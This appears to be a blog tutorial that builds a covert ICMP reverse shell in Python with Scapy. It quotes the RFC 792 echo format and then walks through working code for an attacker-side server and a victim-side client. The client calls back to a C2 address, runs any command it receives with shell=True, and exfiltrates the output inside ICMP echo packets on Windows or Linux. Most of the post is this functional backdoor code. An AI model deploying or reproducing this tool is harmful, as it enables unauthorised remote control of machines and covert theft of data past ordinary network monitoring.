Introduction

This post demonstrates a reverse shell over ICMP which will work on both windows and linux platforms. The idea is to create two different programs, a server program which will run on attacker controlled machine and a client program which when run on a victims machine will connect to the server program. Once connected, the client program will accept commands from server and will reply with the command output. Both client and server will make use of ICMP Echo messages to communicate.

How much data can ICMP hold? - ICMP Echo Message RFC

Below is the RFC of ICMP Echo message taken from RFC792

Echo or Echo Reply Message

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Identifier          |        Sequence Number        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Data ...
   +-+-+-+-+-

   IP Fields:

   Addresses

      The address of the source in an echo message will be the
      destination of the echo reply message.  To form an echo reply
      message, the source and destination addresses are simply reversed,
      the type code changed to 0, and the checksum recomputed.

   IP Fields:

   Type

      8 for echo message;

      0 for echo reply message.

   Code

      0

   Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      If the total length is odd, the received data is padded with one
      octet of zeros for computing the checksum.  This checksum may be
      replaced in the future.

   Identifier

      If code = 0, an identifier to aid in matching echos and replies,
      may be zero.

   Sequence Number


[Page 14]


September 1981
RFC 792



      If code = 0, a sequence number to aid in matching echos and
      replies, may be zero.

   Description

      The data received in the echo message must be returned in the echo
      reply message.

      The identifier and sequence number may be used by the echo sender
      to aid in matching the replies with the echo requests.  For
      example, the identifier might be used like a port in TCP or UDP to
      identify a session, and the sequence number might be incremented
      on each echo request sent.  The echoer returns these same values
      in the echo reply.

      Code 0 may be received from a gateway or a host.

The maximum allowed size of a IPv4 network packet is 65535, we will have enough space to accomodate data since IP and ICMP headers sizes are small (20 and 8). We will have 65507 bytes for ICMP data.

Supported OS and Pre-Requisites

Operating System:

  • Linux
  • Windows (requires npcap)

Python Requirements:

  • Scapy - pip install scapy

ICMP Exfiltration Server

The ICMP exfiltration server will be run on the attacker controlled machine performs the following actions.

  • Listens for ICMP packets on network interface specified by the user.
  • Once a victim is connected, the server will provide a prompt to interact with the victim.
  • From the interactive prompt, commands can be run on the client.

main() function

The server program starts from the main() function. It does the following.

  • Defines the command line argument to specify the netword adapter / interface to listen for ICMP packets.
  • Listens for client connections by calling listen_clientconnection() until valid connection from client.
  • Once client connected, starts the interactive prompt.
def main():
	global interface, client
	parser = argparse.ArgumentParser()
	parser.add_argument("-i", "--interface", help="Interface to listen", required=True)
	args = parser.parse_args()

	interface = args.interface

	connected = False
	while not connected:
		connected = listen_clientconnection()

	prompt = CLIPrompt()
	prompt.prompt = '> '
	prompt.cmdloop('[*] Starting ICMP Exfil Command Shell...')

listen_clientconnection() function

  • Captures ICMP packets on the interface specified
  • Checks if the ICMP packet type is ICMP Echo (Type 8 - Refer)
  • If the packet is ICMP Echo, then packet contents are retrieved.
  • IP address is also taken from packet.
  • The server checks if the string EXFIL_BEGIN is present in captured packet content. If yes, it decides that a cient is connected and returns True.

The client will be sending EXFIL_BEGIN string in ICMP Echo packets to start the communication with the exfiltration server.

def listen_clientconnection():
	print ("[*] Listening for connections on interface: %s" % interface)

	captured = sniff(iface=interface, count=1,filter="icmp")
	inc_data = ""
	src_ip = ""
	for packet in captured:
		if packet[ICMP].type == 8:
			inc_data =  packet.load
		if IP in packet:
			src_ip = packet[IP].src

	if "EXFIL_BEGIN" in inc_data:
		print ("[+] Client Connected! \n\t IP: %s\n\t PLATFORM: %s" % (src_ip, inc_data[12:]))
		client.append(src_ip)
		return True
	else:
		return False

Exfiltration Command Loop

Once a victim/client is connected, an instance of the CLIPrompt() class is created. The command loop accepts two commands.

  • quit or exit terminate the command loop and connection to client
  • exfil to send command to connected client.

The do_exfil() function implements the exfil command functionality. It accepts the following format.

exfil <command to be run on client>

  • An ICMP echo packet is sent to the client with the command to be executed.
  • Once the command is sent to the client, the do_exfil() function then captures ICMP packets coming from the client with following filter : icmp and ip host <client_ip>
  • Once ICMP Echo packets are received from client, the output of the command sent by the client / victim is printed out.
class CLIPrompt(Cmd):

	def do_quit(self, args):
		"""Quits the program."""
		print ("[*] Quitting.")

		# also send exit command to client
		self.do_exfil("exit")

		raise SystemExit

	def do_exfil(self, args):
		if len(args) == 0:
			print ("[*] exfil <command_to_run> or exit/quit")
			return

		command = args
		ip = client[0]

		send(IP(dst=ip) / ICMP() / command)

		if command in ["quit", "exit"]:
			print ("[*] Quitting.")
			raise SystemExit


		cap_filter = "icmp and ip host %s" % ip
		captured_data = sniff(iface=interface, count=1, filter=cap_filter)
		command_result = ""

		for packet in captured_data:
			if packet[ICMP].type == 8:
				command_result = packet.load

		print ("[+] Command Output:\n %s" % command_result)

Exfiltration Server Script

ICMP Exfiltration Client

Client program when executed will perform the following actions.

  • Connects to the ICMP Exfiltration Server by calling connect_c2(server_ip)
  • Listens for incoming ICMP Echo packets from exfiltration server.
  • Executes commands received from server and sends back the output.

main() method

def main():
	parser = argparse.ArgumentParser()
	parser.add_argument("-t", "--icmp-c2", help="IP of ICMP C2", required=True)
	args = parser.parse_args()

	# send the init connection ping
	connect_c2(args.icmp_c2)

	# start exfil loop
	exfil_client(args.icmp_c2)
  • Defines the command line argument to accept the exfiltration server address.
  • Invokes the connect_c2() method with the server address to connect to the exfiltration server.
  • Starts the command execution and exfiltration loop by calling the exfil_client() method.

connect_c2() method

def connect_c2(ip):
	run_platform = platform.system()
	if run_platform == "Linux":
		INIT_STRING = "EXFIL_BEGIN_LINUX"
	elif run_platform == "Windows":
		INIT_STRING = "EXFIL_BEGIN_WINDOWS"

	send(IP(dst=ip) / ICMP() / INIT_STRING)

Sends an ICMP Echo packet to the exfiltration server with below strings depending on the OS the client is running on.

  • Windows : EXFIL_BEGIN_WINDOWS
  • Linux : EXFIL_BEGIN_LINUX

exfil_client() method

def exfil_client(target_ip):

	filtr = "icmp and ip host %s" % target_ip

	while True:
		captured = sniff(count=1,filter=filtr)

		incoming_cmd = b""

		for packet in captured:
			if packet[ICMP].type == 8:
				incoming_cmd = packet.load

		if incoming_cmd:
			command = incoming_cmd.decode()
			print ("[*] Received Command: %s" % command)

			if command in ["exit", "quit"]:
				break
			else:
				try:
					outtext = co(command, shell=True)
				except:
					outtext = "[-] Error Running Command! Check Command"
				print ("[*] Exfiltrating command output")
				send(IP(dst=target_ip) / ICMP() / outtext)

	sys.exit()
  • Captures ICMP packets from the exfiltration server with the filter icmp and ip host <server_ip>
  • Packet contents are retrieved if the packet type is ICMP echo.
  • The retrieved packet content is the command to be executed.
  • The command is executed with subprocess.check_output() method
  • The output of the command is then sent to the server as an ICMP Echo message.

Complete Client Script

Screenshots

Client / Victim Program Executed in Linux Platform

The server program is running on the left terminal, client on the right. icmp_exfil_linux.png

Client / Victim Program Executed in Windows Platform

Server Program icmp_exfil_windows_00.png

Client Program icmp-client-win.png